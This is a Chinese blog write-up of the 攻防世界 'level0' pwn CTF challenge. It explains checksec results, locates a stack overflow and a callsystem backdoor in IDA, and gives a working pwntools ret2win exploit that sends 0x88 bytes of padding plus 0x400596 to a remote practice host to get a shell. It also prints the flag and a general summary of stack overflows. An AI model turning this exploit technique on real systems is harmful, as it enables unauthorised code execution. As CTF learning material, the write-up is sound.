pwn刷题num1---栈溢出

61 篇文章 1 订阅
17 篇文章 0 订阅

攻防世界pwn新手区level0

在这里插入图片描述
111.200.241.244:49418是ip地址:端口,通过linux的nc命令可扫描ip地址并连接到ip地址对应靶机的端口程序上
linux的nc命令
附件是把靶机的程序直接给出到本地
下载题目附件后首先赋予程序执行权限
一般下载的程序没有可执行权限,无法进行分析,所以要先赋予可执行权限,命令是

chmod +x 文件名

linux文件属性
之后用checksec命令查保护(需先配置pwntools这里引用另一个博主的配置pwn环境的博客

在这里插入图片描述
关于linux的保护可见这篇文章
linux漏洞保护机制
观察发现

64位程序,小端序
没有开启RELRO----漏洞:程序got表可写
没有开启canary保护-----漏洞:存在栈溢出
开启了NX保护-----注入的shellcode无法执行
没有开启PIE----程序内存地址未随机化

之后用file命令可查看程序编译链接情况
在这里插入图片描述
dynamically linked为动态链接
什么是动态链接

然后运行一下
本地运行
或者
在这里插入图片描述
看不出什么信息,用ida看一下伪代码
ida一些用法
找到主函数
在这里插入图片描述
双击进入vulnerable_function()函数
在这里插入图片描述
发现read函数给buf处赋予0x200字节,而buf只有0x80字节,存在栈溢出
双击buf进入栈空间
在这里插入图片描述
在这里插入图片描述
buf距离返回地址图中(r标号)0x88字节
然后寻找一下程序中有没有后门函数(获得系统权限的函数)
在这里插入图片描述
发现callsystem函数,很可疑
在这里插入图片描述
发现正是后门函数,把返回地址覆盖为该函数的地址,调用该函数即可获得shell,查看函数地址为0x400596

编写exp

'''
栈溢出 + system地址获得shell
'''
from pwn import *
context(os = 'linux',endian = 'little',arch = 'amd64',log_level = 'debug')
sh = remote('111.200.241.244',49418)
call_system_addr = 0x400596
payload = flat(['a' * 0x88,call_system_addr])
sh.sendline(payload)
sh.interactive()

pwntools编写exp
在这里插入图片描述
获得flag:
cyberpeace{0446553eec724aa790f302cfe27db08e}

附上本文所用链接

linux的nc命令
pwntools这里引用另一个博主的配置pwn环境的博客
linux漏洞保护机制
ida一些用法
pwntools编写exp

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
PWN是一种以攻破计算机系统中的漏洞为目的的竞赛类型,参赛者需要利用漏洞进行攻击并获取系统权限。在ctfshow PWN中,栈溢出是一种常见的攻击方式。 根据提供的引用,我了解到栈溢出是一种通过向程序输入过长的数据导致数据溢出栈的一种攻击手段。栈是一种数据结构,用于存储程序的局部变量和函数调用的返回地址等信息。当程序接收到超出栈空间大小的数据时,溢出的数据会覆盖到栈上的其他数据,从而可能改变程序的执行流程。 根据引用,在ctfshow PWN中,参赛者可以利用栈溢出漏洞来控制程序的执行流程。通过向程序输入特制的数据,可以覆盖控制流中的返回地址,使程序跳转到攻击者精心构造的代码,从而达到获取系统权限的目的。 具体来说,参赛者可以通过向程序发送超出预期的数据,覆盖栈上的返回地址,使其指向攻击者准备好的恶意代码,从而实现栈溢出攻击。攻击者可以利用此漏洞来执行任意代码,包括获取系统权限、执行恶意操作等。 引用和引用提供了一些示例代码,演示了如何利用栈溢出漏洞进行攻击。这些代码使用Pythonpwn库来与目标程序进行交互,并通过构造特制的payload来触发栈溢出漏洞,最终实现控制程序执行流程的目的。 需要注意的是,栈溢出是一种非常危险的漏洞,合法的程序设计应该避免出现此类问题。在实际应用中,为了防止栈溢出攻击,开发者需要加强输入验证和数据处理等安全机制。 总结起来,ctfshow PWN栈溢出是一种通过向程序输入过长数据导致栈溢出的攻击方式,在该竞赛中常用于获取系统权限和执行恶意操作。攻击者可以利用漏洞覆盖返回地址,使程序执行恶意代码。然而,栈溢出是一种危险的漏洞,合法的程序设计应该避免此类问题。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [ctfshow pwn4](https://blog.csdn.net/qq_39980610/article/details/126461902)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [ctfshow pwn5](https://blog.csdn.net/qq_39980610/article/details/126462163)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值